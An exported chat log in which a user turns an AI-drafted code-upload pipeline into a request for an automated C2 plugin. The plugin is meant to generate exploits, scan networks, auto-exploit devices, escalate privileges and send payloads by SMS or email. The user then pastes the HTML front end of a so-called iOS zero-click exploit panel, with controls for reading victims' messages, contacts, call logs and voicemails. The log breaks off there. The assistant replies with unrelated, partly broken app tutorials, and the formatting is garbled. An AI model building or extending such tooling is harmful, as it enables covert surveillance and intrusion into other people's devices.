

Conversation: A Self-Correcting Automated Pi...

10/5/2024, 6:09:06 PM – User:

A Self-Correcting Automated Pipeline For Parsing, Analyzing, Recreation, Organization, Testing & Uploading of AI Generated Code Into Files According To Their File Structure From Thread URLs Onto Github

To create a **Self-Correcting Automated Pipeline** for **Parsing, Analyzing, Recreating, Organizing, Testing, and Uploading AI-Generated Code** into files based on their file structure from thread URLs onto GitHub, we need to design a system that can autonomously handle each stage of the process, ensuring that the code is properly structured, tested, and ready for deployment. This pipeline will also serve as a **template** for **AI-driven updates** to parts of the framework or website, allowing for testing before approval and going live.

Pipeline Overview

The pipeline will consist of the following stages:

1. **Parsing and Analyzing the Thread URL**: Extracting the relevant code and file structure.
2. **Recreating and Organizing the Files**: Structuring the files according to the predefined file structure.
3. **Testing the Code**: Running automated tests to ensure the code is functional and error-free.
4. **Uploading to GitHub**: Committing the changes to a GitHub repository.
5. **Self-Correction and Retesting**: Automatically correcting errors and retesting until the pipeline runs without issues.
6. **Approval and Deployment**: Submitting the code for approval before it goes live.

1. **Parsing and Analyzing the Thread URL**

The first step is to **fetch the content** from the provided thread URL and **analyze** it to extract the AI-generated code and the corresponding file structure. This can be achieved using web scraping tools like **BeautifulSoup** and **Requests** to parse the HTML content of the thread.

– **Thread Parsing**: The pipeline will scan the thread for labeled code blocks and file paths. These blocks will be identified based on specific HTML tags or patterns (e.g., `<code>` or `<pre>` tags) [\[\[1\]\]](https://poe.com/citation?message_id=261850151543&citation=1) (https://poe.com/citation?message_id=261850151543&citation=1).

– **File Structure Extraction**: The pipeline will extract the file structure (e.g., directories and file paths) from the thread to ensure that the files are organized correctly [\[\[3\]\]](https://poe.com/citation?message_id=261850151543&citation=3) (https://poe.com/citation?message_id=261850151543&citation=3).

```python

```

import requests
from bs4 import BeautifulSoup

def fetch_and_parse_thread(url):
 response = requests.get(url)
 soup = BeautifulSoup(response.text, 'html.parser')
 code_blocks = soup.find_all('code') # Adjust based on thread
 structure
 file_structure = extract_file_structure(soup) # Custom function
 to extract structure
 return code_blocks, file_structure
...

```

### ### 2. \*\*Recreating and Organizing the Files\*\*

Once the code and file structure are parsed, the pipeline will **recreate the directories** and **organize the files** according to the extracted structure. The **os** module in Python can be used to create directories, and the files will be saved with the correct encoding and extensions.

- **Directory Creation**: The pipeline will create directories based on the file structure extracted from the thread [\[\[2\]\]\(https://poe.com/citation?message\\_id=261850151543&citation=2\)](https://poe.com/citation?message_id=261850151543&citation=2).

- **File Creation**: Each code block will be saved as a file with the appropriate extension (e.g., `.py`, `.html`, `.css`) [\[\[3\]\]\(https://poe.com/citation?message\\_id=261850151543&citation=3\)](https://poe.com/citation?message_id=261850151543&citation=3).

```

```python
import os

```

```

def create_directories_and_files(file_structure, code_blocks):
    for directory in file_structure:
        os.makedirs(directory, exist_ok=True)

    for code_block in code_blocks:
        file_path = code_block['data-path'] # Assuming file path is
        stored in 'data-path'
        with open(file_path, 'w', encoding='utf-8') as f:
            f.write(code_block.text)
...

```

3. **Testing the Code**

Before uploading the code to GitHub, the pipeline will run **automated tests** to ensure that the code is functional and free of errors. This can include:

- **Unit Tests**: Testing individual components of the code to ensure they work as expected.
- **Integration Tests**: Ensuring that different parts of the system work together.
- **Security Tests**: Running security checks to ensure there are no

vulnerabilities in the code [\[\[1\]\]\(https://poe.com/citation?message_id=261850151543&citation=1\)](https://poe.com/citation?message_id=261850151543&citation=1) [\[\[2\]\]\(https://poe.com/citation?message_id=261850151543&citation=2\)](https://poe.com/citation?message_id=261850151543&citation=2).

The pipeline will use testing frameworks like **pytest** for Python or **Jest** for JavaScript to automate the testing process.

```
```python
import subprocess

def run_tests():
 result = subprocess.run(['pytest'], capture_output=True,
text=True)
 if result.returncode == 0:
 print("All tests passed!")
 else:
 print(f"Tests failed:\n{result.stdout}")
 raise Exception("Tests failed, pipeline halted.")
...

```

#### ### 4. **Uploading to GitHub**

Once the code has passed all tests, the pipeline will **commit** the changes to a GitHub repository. This can be automated using the **GitHub API** or **Git CLI**. The pipeline will:

- **Stage the files**: Add the new or updated files to the Git staging area.
- **Commit the changes**: Commit the changes with a meaningful message.
- **Push to the repository**: Push the changes to the remote GitHub repository [\[\[6\]\]\(https://poe.com/citation?message\\_id=261850151543&citation=6\)](https://poe.com/citation?message_id=261850151543&citation=6).

```
```python
import subprocess

def upload_to_github(repo_path, commit_message):
    subprocess.run(['git', 'add', '.'], cwd=repo_path)
    subprocess.run(['git', 'commit', '-m', commit_message],
cwd=repo_path)
    subprocess.run(['git', 'push'], cwd=repo_path)
...

```

5. **Self-Correction and Retesting**

If the pipeline encounters errors during testing, it will attempt to **self-correct** and **retest**. This involves:

- **Error Detection**: The pipeline will analyze the error logs to identify the root cause of the failure [\[\[1\]\]\(https://poe.com/citation?message_id=261850151543&citation=1\)](https://poe.com/citation?message_id=261850151543&citation=1).
- **Automated Corrections**: The pipeline will apply predefined corrections based on common error patterns (e.g., missing directories,

incorrect file extensions) [[2]](https://poe.com/citation?message_id=261850151543&citation=2).

- **Retesting**: After applying corrections, the pipeline will rerun the tests. This loop will continue until the pipeline runs without errors or reaches a retry limit [[6]](https://poe.com/citation?message_id=261850151543&citation=6).

```
```python
def self_correct_and_retest():
 retries = 3
 while retries > 0:
 try:
 run_tests()
 break
 except Exception as e:
 print(f"Error encountered: {e}. Attempting to correct...")
 # Apply self-correction logic here
 retries -= 1
 if retries == 0:
 raise Exception("Pipeline failed after multiple retries.")
```
```

6. Approval and Deployment

Once the pipeline runs successfully, the code will be **submitted** for approval. This can be done by creating a **pull request** on GitHub, which can be reviewed by the team before merging into the main branch. The pipeline can also include **automated deployment** to a staging environment for further testing before going live [[1]](https://poe.com/citation?message_id=261850151543&citation=1) [[5]](https://poe.com/citation?message_id=261850151543&citation=5).

```
```python
def create_pull_request(repo, branch, title, body):
 # Use GitHub API to create a pull request
 pass
```
```

Additional Features for the Pipeline

- **Version Control**: The pipeline will automatically create new versions of the code after each update, allowing for easy rollback if needed [[5]](https://poe.com/citation?message_id=261850151543&citation=5).
- **Logging and Monitoring**: The pipeline will log all activities, including errors, corrections, and test results. These logs can be monitored using tools like **Prometheus** and **Grafana** [[1]](https://poe.com/citation?message_id=261850151543&citation=1) [[2]](https://poe.com/citation?message_id=261850151543&citation=2).
- **Security Enhancements**: Implement security features like **SSL encryption**, **DDoS protection**, and **role-based access control (RBAC)** to ensure the pipeline is secure [[6]](<https://poe.com/>).

[citation?message_id=261850151543&citation=6](https://poe.com/citation?message_id=261850151543&citation=6)).

Conclusion

This **self-correcting automated pipeline** will streamline the process of **parsing, analyzing, recreating, organizing, testing, and uploading AI-generated code** into files based on their file structure. It will also serve as a **template for AI-driven updates** to the framework or website, ensuring that all changes are tested and approved before going live. By integrating error detection, self-correction, and automated testing, the pipeline will ensure a smooth and efficient workflow [\[\[1\]\]\(https://poe.com/citation?message_id=261850151543&citation=1\)](https://poe.com/citation?message_id=261850151543&citation=1) [\[\[2\]\]\(https://poe.com/citation?message_id=261850151543&citation=2\)](https://poe.com/citation?message_id=261850151543&citation=2) [\[\[6\]\]\(https://poe.com/citation?message_id=261850151543&citation=6\)](https://poe.com/citation?message_id=261850151543&citation=6).

To fully implement the **self-correcting automated pipeline** for **parsing, analyzing, recreating, organizing, testing, and uploading AI-generated code** into files based on their file structure from thread URLs onto GitHub, we need to break the process into key phases and tasks. Here's a detailed breakdown of how we can achieve this as quickly as possible:

Phase 1: Initial Setup and Environment Configuration

1. **Set Up the Development Environment**:

- Install necessary tools and libraries such as **Python**, **BeautifulSoup**, **Requests**, **Git CLI**, **pytest**, and **subprocess** for automation [\[\[1\]\]\(https://poe.com/citation?message_id=261851132535&citation=1\)](https://poe.com/citation?message_id=261851132535&citation=1).
- Ensure that the environment includes **GitHub CLI** or **GitHub API** access for automating repository interactions [\[\[5\]\]\(https://poe.com/citation?message_id=261851132535&citation=5\)](https://poe.com/citation?message_id=261851132535&citation=5).
- Configure **DDoS protection**, **SSL encryption**, and **DDNS** if the pipeline will be self-hosted [\[\[6\]\]\(https://poe.com/citation?message_id=261851132535&citation=6\)](https://poe.com/citation?message_id=261851132535&citation=6).

2. **Create the GitHub Repository**:

- Set up a **GitHub repository** where the pipeline will push the AI-generated code. This repository will serve as the central location for all code uploads, version control, and pull requests [\[\[5\]\]\(https://poe.com/citation?message_id=261851132535&citation=5\)](https://poe.com/citation?message_id=261851132535&citation=5).
- Ensure that the repository has proper **branching policies** to handle pull requests and approvals before merging into the main branch [\[\[1\]\]\(https://poe.com/citation?message_id=261851132535&citation=1\)](https://poe.com/citation?message_id=261851132535&citation=1).

Phase 2: Parsing and Analyzing the Thread URL

1. **Fetch and Parse the Thread Content**:

- Implement the **thread parsing** logic using **BeautifulSoup** and **Requests** to fetch the content from the provided thread URL [\[\[1\]\]\(https://poe.com/citation?message_id=261851132535&citation=1\)](https://poe.com/citation?message_id=261851132535&citation=1).
- Extract **code blocks** and **file structure** from the thread.

This will involve identifying the relevant HTML tags (e.g., `<code>`, `<pre>`) that contain the code and file paths [[1]](https://poe.com/citation?message_id=261851132535&citation=1) [[2]](https://poe.com/citation?message_id=261851132535&citation=2).

2. **File Structure Extraction**:

- Implement logic to extract the **file structure** from the thread. This will ensure that the files are organized correctly in the repository according to the predefined structure [[3]](https://poe.com/citation?message_id=261851132535&citation=3).

- Compare the extracted file structure to the expected structure to ensure consistency before proceeding with file creation [[2]](https://poe.com/citation?message_id=261851132535&citation=2).

Phase 3: Recreating and Organizing Files

1. **Directory Creation**:

- Use the **os** module to create directories based on the extracted file structure. This will ensure that the files are placed in the correct directories [[1]](https://poe.com/citation?message_id=261851132535&citation=1).

2. **File Creation and Encoding**:

- Create the files using the extracted code blocks and save them with the correct file extensions (e.g., `.py`, `.html`, `.css`) and encoding (e.g., UTF-8) [[1]](https://poe.com/citation?message_id=261851132535&citation=1) [[2]](https://poe.com/citation?message_id=261851132535&citation=2).

- Implement error handling to ensure that files are saved correctly and that any missing directories or incorrect file paths are automatically corrected [[6]](https://poe.com/citation?message_id=261851132535&citation=6).

Phase 4: Automated Testing

1. **Unit and Integration Testing**:

- Implement **unit tests** to verify that individual components of the code work as expected. Use **pytest** for Python code or other relevant testing frameworks for other languages [[1]](https://poe.com/citation?message_id=261851132535&citation=1).

- Implement **integration tests** to ensure that different parts of the system work together seamlessly. This is especially important for AI-generated code that interacts with multiple components [[3]](https://poe.com/citation?message_id=261851132535&citation=3).

2. **Security Testing**:

- Run **security tests** to ensure that the code is free from vulnerabilities. This includes checking for common security issues such as SQL injection, cross-site scripting (XSS), and insecure file handling [[6]](https://poe.com/citation?message_id=261851132535&citation=6).

Phase 5: Self-Correction and Retesting

1. **Error Detection and Logging**:

- Implement error detection mechanisms to capture any issues that arise during the testing phase. Use **centralized logging** to store error logs for analysis [\[\[1\]\]\(https://poe.com/citation?message_id=261851132535&citation=1\)](https://poe.com/citation?message_id=261851132535&citation=1).

- Categorize errors based on severity and apply predefined correction rules for common issues (e.g., missing directories, incorrect file extensions) [\[\[2\]\]\(https://poe.com/citation?message_id=261851132535&citation=2\)](https://poe.com/citation?message_id=261851132535&citation=2).

2. **Automated Corrections**:

- Develop a **self-correction mechanism** that automatically applies fixes to common errors. For example, if a directory is missing, the pipeline will create it automatically. If a file extension is incorrect, the pipeline will apply the correct extension [\[\[6\]\]\(https://poe.com/citation?message_id=261851132535&citation=6\)](https://poe.com/citation?message_id=261851132535&citation=6).

3. **Retesting**:

- After applying corrections, the pipeline will automatically **retest** the code to ensure that the issue has been resolved. This loop will continue until the pipeline runs without errors or reaches a retry limit [\[\[1\]\]\(https://poe.com/citation?message_id=261851132535&citation=1\)](https://poe.com/citation?message_id=261851132535&citation=1) [\[\[6\]\]\(https://poe.com/citation?message_id=261851132535&citation=6\)](https://poe.com/citation?message_id=261851132535&citation=6).

Phase 6: Uploading to GitHub

1. **Commit and Push Changes**:

- Once the code has passed all tests, the pipeline will **commit** the changes to the GitHub repository. This will involve staging the files, committing with a meaningful message, and pushing to the repository [\[\[5\]\]\(https://poe.com/citation?message_id=261851132535&citation=5\)](https://poe.com/citation?message_id=261851132535&citation=5).

2. **Create Pull Requests for Approval**:

- The pipeline will automatically create a **pull request** for review and approval. This ensures that the code is reviewed by the team before being merged into the main branch [\[\[1\]\]\(https://poe.com/citation?message_id=261851132535&citation=1\)](https://poe.com/citation?message_id=261851132535&citation=1).

- Implement **branch protection rules** to ensure that only approved changes are merged into the main branch [\[\[5\]\]\(https://poe.com/citation?message_id=261851132535&citation=5\)](https://poe.com/citation?message_id=261851132535&citation=5).

Phase 7: Approval and Deployment

1. **Approval Workflow**:

- Once the pull request is created, the team can review the changes and approve them. The pipeline will wait for approval before proceeding with deployment [\[\[1\]\]\(https://poe.com/citation?message_id=261851132535&citation=1\)](https://poe.com/citation?message_id=261851132535&citation=1).

2. **Automated Deployment**:

- After approval, the pipeline can automatically deploy the code to a **staging environment** for further testing. Once the staging tests pass, the code can be deployed to production [[6]](https://poe.com/citation?message_id=261851132535&citation=6).

Timeline for Full Implementation

- **Phase 1**: Initial setup and environment configuration can be completed within **1-2 days**, depending on the complexity of the environment and security configurations [[1]](https://poe.com/citation?message_id=261851132535&citation=1) [[6]](https://poe.com/citation?message_id=261851132535&citation=6).
- **Phase 2**: Parsing and analyzing the thread URL can be implemented within **1-2 days**, as it involves setting up web scraping and parsing logic [[1]](https://poe.com/citation?message_id=261851132535&citation=1).
- **Phase 3**: Recreating and organizing files can be completed within **1 day**, as it involves basic file operations and directory creation [[2]](https://poe.com/citation?message_id=261851132535&citation=2).
- **Phase 4**: Automated testing can be set up within **2-3 days**, depending on the complexity of the tests and the code being generated [[1]](https://poe.com/citation?message_id=261851132535&citation=1) [[3]](https://poe.com/citation?message_id=261851132535&citation=3).
- **Phase 5**: Self-correction and retesting mechanisms can be implemented within **2-3 days**, as they involve error detection, logging, and retry logic [[6]](https://poe.com/citation?message_id=261851132535&citation=6).
- **Phase 6**: Uploading to GitHub and creating pull requests can be completed within **1 day**, as it involves automating Git operations [[5]](https://poe.com/citation?message_id=261851132535&citation=5).
- **Phase 7**: Approval and deployment workflows can be set up within **1-2 days**, depending on the deployment strategy [[6]](https://poe.com/citation?message_id=261851132535&citation=6).

Total Estimated Time: **8-12 days** for full implementation, assuming all resources are available and no major blockers are encountered.

By following this structured approach, we can quickly implement the self-correcting automated pipeline and ensure that AI-generated code is properly parsed, tested, and uploaded to GitHub with minimal manual intervention [[1]](https://poe.com/citation?message_id=261851132535&citation=1) [[2]](https://poe.com/citation?message_id=261851132535&citation=2) [[6]](https://poe.com/citation?message_id=261851132535&citation=6).

To build the **self-correcting automated pipeline** for **parsing, analyzing, recreating, organizing, testing, and uploading AI-generated code onto GitHub**, we will follow the detailed breakdown provided earlier. Here's how we can proceed:

Step-by-Step Implementation Plan

1. Initial Setup and Environment Configuration

1. **Install Required Tools and Libraries**:

- Install **Python** and necessary libraries like **BeautifulSoup**, **Requests**, **Git CLI**, and **pytest** for testing.
- Ensure **GitHub CLI** or **GitHub API** access is configured to automate repository interactions.
- Set up **DDoS protection**, **SSL encryption**, and **DDNS** if the pipeline is self-hosted [[6]](https://poe.com/citation?message_id=261853065847&citation=6).

Commands:

```
```bash
pip install beautifulsoup4 requests pytest
```
```

2. **Create GitHub Repository**:

- Set up a **GitHub repository** where the pipeline will push the AI-generated code. This repository will handle version control, pull requests, and approvals [[5]](https://poe.com/citation?message_id=261853065847&citation=5).
- Configure **branch protection rules** to ensure that pull requests are reviewed before merging into the main branch [[1]](https://poe.com/citation?message_id=261853065847&citation=1).

2. Parsing and Analyzing the Thread URL

1. **Fetch and Parse the Thread Content**:

- Use **BeautifulSoup** and **Requests** to fetch the content from the provided thread URL. Extract **code blocks** and **file structure** from the thread [[1]](https://poe.com/citation?message_id=261853065847&citation=1).

Code:

```
```python
import requests
from bs4 import BeautifulSoup

def fetch_and_parse_thread(url):
 response = requests.get(url)
 soup = BeautifulSoup(response.text, 'html.parser')
 code_blocks = soup.find_all('code') # Adjust based on thread
```

```

structure
 file_structure = extract_file_structure(soup) # Custom
function to extract structure
 ... return code_blocks, file_structure

```

## 2. **\*\*File Structure Extraction\*\***:

– Implement logic to extract the **\*\*file structure\*\*** from the thread and compare it to the expected structure to ensure consistency [[2]] ([https://poe.com/citation?message\\_id=261853065847&citation=2](https://poe.com/citation?message_id=261853065847&citation=2)).

---

### ### **\*\*3. Recreating and Organizing Files\*\***

#### 1. **\*\*Directory Creation\*\***:

– Use the **\*\*os\*\*** module to create directories based on the extracted file structure [[1]] ([https://poe.com/citation?message\\_id=261853065847&citation=1](https://poe.com/citation?message_id=261853065847&citation=1)).

```

Code:
```python
import os

def create_directories(file_structure):
    for directory in file_structure:
        os.makedirs(directory, exist_ok=True)
    ...

```

2. ****File Creation and Encoding****:

– Create the files using the extracted code blocks and save them with the correct file extensions (e.g., `.py`, `.html`, `.css`) and encoding (e.g., UTF-8) [[1]] (https://poe.com/citation?message_id=261853065847&citation=1) [[2]] (https://poe.com/citation?message_id=261853065847&citation=2).

```

**Code**:
```python
def create_files(code_blocks):
 for code_block in code_blocks:
 file_path = code_block['data-path'] # Assuming file path
is stored in 'data-path'
 with open(file_path, 'w', encoding='utf-8') as f:
 f.write(code_block.text)
 ...

```

---

### ### **\*\*4. Automated Testing\*\***

### 1. **\*\*Unit and Integration Testing\*\***:

– Implement **\*\*unit tests\*\*** and **\*\*integration tests\*\*** using **\*\*pytest\*\*** to ensure that individual components and the entire system work as expected [\[\[1\]\]\(https://poe.com/citation?message\\_id=261853065847&citation=1\)](https://poe.com/citation?message_id=261853065847&citation=1) [\[\[3\]\]\(https://poe.com/citation?message\\_id=261853065847&citation=3\)](https://poe.com/citation?message_id=261853065847&citation=3).

```
Code:
```python
import subprocess

def run_tests():
    result = subprocess.run(['pytest'], capture_output=True,
text=True)
    if result.returncode == 0:
        print("All tests passed!")
    else:
        print(f"Tests failed:\n{result.stdout}")
        raise Exception("Tests failed, pipeline halted.")
...

```

2. ****Security Testing****:

– Run ****security tests**** to ensure that the code is free from vulnerabilities like SQL injection or XSS [\[\[6\]\]\(https://poe.com/citation?message_id=261853065847&citation=6\)](https://poe.com/citation?message_id=261853065847&citation=6).

****5. Self-Correction and Retesting****

1. ****Error Detection and Logging****:

– Implement error detection mechanisms to capture issues during testing and store error logs for analysis [\[\[1\]\]\(https://poe.com/citation?message_id=261853065847&citation=1\)](https://poe.com/citation?message_id=261853065847&citation=1).

2. ****Automated Corrections****:

– Develop a ****self-correction mechanism**** that automatically applies fixes to common errors, such as missing directories or incorrect file extensions [\[\[6\]\]\(https://poe.com/citation?message_id=261853065847&citation=6\)](https://poe.com/citation?message_id=261853065847&citation=6).

```
**Code**:
```python
def self_correct_and_retest():
 retries = 3
 while retries > 0:
 try:
 run_tests()
 break
 except Exception as e:

```

```

 print(f"Error encountered: {e}. Attempting to
correct...")
 # Apply self-correction logic here
 retries -= 1
 if retries == 0:
 raise Exception("Pipeline failed after multiple retries.")
 ...

```

---

### ### \*\*6. Uploading to GitHub\*\*

#### 1. \*\*Commit and Push Changes\*\*:

– After successful testing, commit the changes to the GitHub repository using **\*\*Git CLI\*\*** or **\*\*GitHub API\*\*** [[5]]([https://poe.com/citation?message\\_id=261853065847&citation=5](https://poe.com/citation?message_id=261853065847&citation=5)).

```

Code:
```python
import subprocess

def upload_to_github(repo_path, commit_message):
    subprocess.run(['git', 'add', '.'], cwd=repo_path)
    subprocess.run(['git', 'commit', '-m', commit_message],
cwd=repo_path)
    subprocess.run(['git', 'push'], cwd=repo_path)
...

```

2. **Create Pull Requests for Approval**:

– Automatically create a ****pull request**** for review and approval before merging into the main branch [[1]](https://poe.com/citation?message_id=261853065847&citation=1).

7. Approval and Deployment

1. **Approval Workflow**:

– Once the pull request is created, the team can review the changes and approve them. The pipeline will wait for approval before proceeding with deployment [[1]](https://poe.com/citation?message_id=261853065847&citation=1).

2. **Automated Deployment**:

– After approval, the pipeline can automatically deploy the code to a ****staging environment**** for further testing. Once the staging tests pass, the code can be deployed to production [[6]](https://poe.com/citation?message_id=261853065847&citation=6).

Next Steps

- ****Implement the Code****: We can start by implementing the code snippets provided above and ensure that each phase of the pipeline is functional.
- ****Test the Pipeline****: After implementation, we will run the pipeline on a sample thread URL to ensure that it parses, organizes, tests, and uploads the code correctly.
- ****Iterate and Improve****: Based on the results, we can fine-tune the pipeline to handle edge cases, improve error correction, and add any additional features you may need.

Let me know when you're ready to start, and we can begin the implementation process! [[1]](https://poe.com/citation?message_id=261853065847&citation=1)[[2]](https://poe.com/citation?message_id=261853065847&citation=2)[[6]](https://poe.com/citation?message_id=261853065847&citation=6).

Use this pipeline i have made to have the ai feedback loop generate code to requests to generate, modify, or create custom exploits in a c2 panel and when all AI agree there are no more errors, have it then send the response back in the same chat box. built this as a custom plugin for my c2 framework so i can have it generate code for me, also have it circulate answers to questions the same way and conduct scans of devices in the network, scan ports, services running, os finger printing, and automatically exploit targets accordingly and impliment post exploitation modules to elevate privledges and gain more access to have a wider rnage of control over devices in the network or deploy exploits to remote deives via SM, EMAIL, or IP:PORT.

10/5/2024, 6:09:08 PM – Venice:

I'm happy to help you build something in code! Since you haven't specified a programming language, I'll assume we'll be using Typescript.

To get started, please let me know what you'd like to build. Is it a web application, a mobile app, or something else? Additionally, what kind of functionality do you want to include in your project? Do you have any specific requirements or constraints? The more details you provide, the better I can guide you through the process.

10/5/2024, 6:09:28 PM – User:

mobile app

10/5/2024, 6:09:33 PM – Venice:

Great! Let's start building a mobile app in Typescript. We'll be using the React Native framework, which allows us to build native mobile apps for both iOS and Android.

Here are the steps to get started:

1. ****Install Node.js and npm****: If you don't have Node.js and npm (Node Package Manager) installed on your computer, download and install them from the official website: <<https://nodejs.org/en/download/>>

2. ****Create a new project****: Open your terminal or command prompt and run the following command to create a new React Native project:

```
\\`
```

```
npx react-native init MyMobileApp
```

```
\\`
```

Replace "MyMobileApp" with the name you want to give your app.

3. ****Install required dependencies****: Navigate to your project directory and install the required dependencies:

```
\\`
```

```
cd MyMobileApp
```

```
npm install
```

```
\\`
```

4. ****Set up the development environment****: Install the React Native CLI package for Android Studio and Xcode, so you can run your app on a simulator or physical device:

```
\\`
```

```
npm install -g @react-native/cli
```

```
\\`
```

5. ****Open the project in your code editor****: Open your code editor and navigate to the "MyMobileApp" directory.

6. ****Create a new component****: Let's create a new component called "HelloWorldScreen". Create a new folder called "screens" and inside it, create a new file called "HelloWorldScreen.tsx":

```
\\`
```

```
mkdir screens
```

```
touch screens/HelloWorldScreen.tsx
```

```
\\`
```

7. ****Write the code****: Open the "HelloWorldScreen.tsx" file and add the following code:

```
```typescript
```

```
import React from 'react';
import { View, Text } from 'react-native';

const HelloWorldScreen = () => {
 return (
 <View style={{ flex: 1, justifyContent: 'center', alignItems:
'center' }}>
 <Text>Hello, world!</Text>
 </View>
);
};

export default HelloWorldScreen;
```

8. **\*\*Add the component to the app\*\***: Open the "App.tsx" file and add the following code:

```
``typescript
import React from 'react';
import { View, Text } from 'react-native';
import { HelloWorldScreen } from '../screens/HelloWorldScreen';

const App = () => {
 return (
 <View style={{ flex: 1 }}>
 <HelloWorldScreen />
 </View>
);
};

export default App;
```

9. **\*\*Run the app\*\***: Open your terminal or command prompt and run the following command to start the React Native development server and open the app on a simulator or physical device:

```
npx react-native run-ios
or
npx react-native run-android
```

You should now see your app running on a simulator or physical device! Congratulations, you've created your first React Native app!

Next steps:

- \* Add more components and functionality to your app

- \* Style your app using React Native's styling system
- \* Connect your app to a backend API or database

Let me know if you have any questions or need help with the next steps!

---

\*\*\*10/5/2024, 6:09:39 PM – User:\*\*\*

mobile web app

---

\*\*\*10/5/2024, 6:09:45 PM – Venice:\*\*\*

Great! Let's build a mobile web app using Typescript and React. We'll be using the React framework along with some mobile-first CSS techniques to ensure our app looks and feels great on mobile devices.

Here are the steps to get started:

1. **\*\*Install Node.js and npm\*\***: If you don't have Node.js and npm (Node Package Manager) installed on your computer, download and install them from the official website: <<https://nodejs.org/en/download/>>

2. **\*\*Create a new project\*\***: Open your terminal or command prompt and run the following command to create a new React project:

```

```
npx create-react-app MyMobileWebApp --template typescript
```

```

Replace "MyMobileWebApp" with the name you want to give your app.

3. **\*\*Install required dependencies\*\***: Navigate to your project directory and install the required dependencies:

```

```
cd MyMobileWebApp
```

```
npm install
```

```

4. **\*\*Set up the project\*\***: Install the necessary dependencies for mobile-first CSS:

```

```
npm install @css-desk/core --save
```

```
npm install @css-desk/react --save
```

```

5. **\*\*Configure the project\*\***: Open the "src/index.tsx" file and replace the existing code with the following:



```

```typescript
import React from 'react';
import ReactDOM from 'react-dom';
import './index.css';
import App from './App';
import reportWebVitals from './reportWebVitals';

ReactDOM.render(
  <React.StrictMode>
    <App />
  </React.StrictMode>,
  document.getElementById('root')
);

// If you want to display something on mobile devices, but hide it on
// desktop, you can add a CSS class to the element with the `display-
// none-mobile` class:
// <div className="display-none-mobile">...</div>

// If you want to display something on desktop, but hide it on mobile,
// you can add a CSS class to the element with the `display-none-tablet`
// class:
// <div className="display-none-tablet">...</div>

reportWebVitals();
```

```

6. **\*\*Create a new component\*\***: Let's create a new component called "HelloWorld". Create a new folder called "components" and inside it, create a new file called "HelloWorld.tsx":

```

```
mkdir components
touch components/HelloWorld.tsx
```

```

7. **\*\*Write the code\*\***: Open the "HelloWorld.tsx" file and add the following code:

```

```typescript
import React from 'react';

const HelloWorld = () => {
  return (
    <div className="hello-world">
      <h1>Hello, world!</h1>
      <p>This is a mobile web app built with React and Typescript.</p>
    </div>
  );
};

export default HelloWorld;
```

```

```

8. ****Add the component to the app****: Open the "src/App.tsx" file and add the following code:

```
```typescript
import React from 'react';
import './App.css';
import HelloWorld from './components/HelloWorld';

function App() {
 return (
 <div className="App">
 <HelloWorld />
 </div>
);
}

export default App;
```
```

9. ****Add mobile-first CSS****: Create a new file called "index.css" in the "src" folder and add the following code:

```
```css
/* Mobile-first CSS */
body {
 font-family: Arial, sans-serif;
 margin: 0;
 padding: 0;
}

.hello-world {
 text-align: center;
 padding: 20px;
 background-color: #f7f7f7;
 margin: 20px;
 border: 1px solid #ccc;
 border-radius: 5px;
}

/* Add more styles as needed */
```
```

10. ****Run the app****: Open your terminal or command prompt and run the following command to start the development server and open the app in your default browser:

```

```
npm start
```

```

You should now see your app running in your default browser!

Congratulations, you've created your first mobile web app using React and Typescript.

Next steps:

- * Add more components and functionality to your app
- * Style your app using mobile-first CSS techniques
- * Connect your app to a backend API or database

Let me know if you have any questions or need help with the next steps!

10/5/2024, 6:14:58 PM – User:

iOS-Zero-Click-Exploit-Deploy-And-Control-Web-Panel

Front End (Index.html)

```
<!DOCTYPE html>
<html lang="en">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-
scale=1.0">
  <title>SMS Payload Sender</title>
  <!-- Bootstrap CSS -->
  <link href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/
css/bootstrap.min.css" rel="stylesheet">
  <style>
    body {
      font-family: Arial, sans-serif;
      margin: 20px;
    }
    .container {
      max-width: 600px;
      margin: auto;
    }
    .notification, .device-info, .control-panel {
      margin-top: 20px;
      padding: 10px;
      border: 1px solid #ccc;
      display: none;
    }
    .notification {
      border-radius: 5px;
    }
    .device-info, .control-panel {
      border-radius: 5px;
    }
```

```

        background-color: #f9f9f9;
    }
    .control-panel button {
        margin: 5px 0;
    }
</style>
</head>
<body>
    <div class="container">
        <h1 class="text-center">Send Payload via SMS</h1>
        <form id="smsForm" class="mt-4">
            <div class="form-group">
                <label for="phoneNumber">Phone Number:</label>
                <input type="text" class="form-control"
id="phoneNumber" name="phoneNumber" required>
            </div>
            <button type="submit" class="btn btn-primary btn-
block">Send Payload</button>
        </form>
        <div id="notification" class="notification alert"></div>
        <div id="deviceInfo" class="device-info p-3">
            <h2>Device Information</h2>
            <p><strong>IP Address:</strong> <span id="ip"></span></p>
            <p><strong>OS:</strong> <span id="os"></span></p>
            <p><strong>Location:</strong> <span id="location"></
span></p>
        </div>
        <div id="controlPanel" class="control-panel p-3">
            <h2>Control Panel</h2>
            <button class="btn btn-secondary btn-block"
onclick="sendCommand('reboot')">Reboot Device</button>
            <button class="btn btn-secondary btn-block"
onclick="sendCommand('shutdown')">Shutdown Device</button>
            <button class="btn btn-secondary btn-block"
onclick="sendCommand('get_info')">Get Device Info</button>
            <button class="btn btn-secondary btn-block"
onclick="sendCommand('send_text')">Send Text</button>
            <button class="btn btn-secondary btn-block"
onclick="sendCommand('make_call')">Make Call</button>
            <button class="btn btn-secondary btn-block"
onclick="sendCommand('view_call_log')">View Call Log</button>
            <button class="btn btn-secondary btn-block"
onclick="sendCommand('view_text_messages')">View Text Messages</
button>
            <button class="btn btn-secondary btn-block"
onclick="sendCommand('listen_voicemails')">Listen to Voicemails</
button>
            <button class="btn btn-secondary btn-block"
onclick="sendCommand('view_installed_apps')">View Installed Apps</
button>

```

```

        <button class="btn btn-secondary btn-block"
onclick="sendCommand('view_app_usage')">View App Usage</button>
        <button class="btn btn-secondary btn-block"
onclick="sendCommand('view_contacts')">View Contacts</button>
        <button class="btn btn-secondary btn-block"
onclick="sendCommand('download_sms')">Download SMS Messages</button>
        <button class="btn btn-secondary btn-block"
onclick="sendCommand('download_call_log')">Download Call Log</button>
        <button class="btn btn-secondary btn-block"
onclick="sendCommand('download_contacts')">Download Contacts</button>
        <button class="btn btn-secondary btn-block"
onclick="sendCommand('download_app_list')">Download App List</button>
        <button class="btn btn-secondary btn-block"
onclick="sendCommand('download_phone_usage')">Download Phone Usage</
button>
        <button class="btn btn-secondary btn-block"
onclick="sendCommand('view_processes')">View Processes</button>
        <button class="btn btn-secondary btn-block"
onclick="sendCommand('device_console')">Device Console</button>
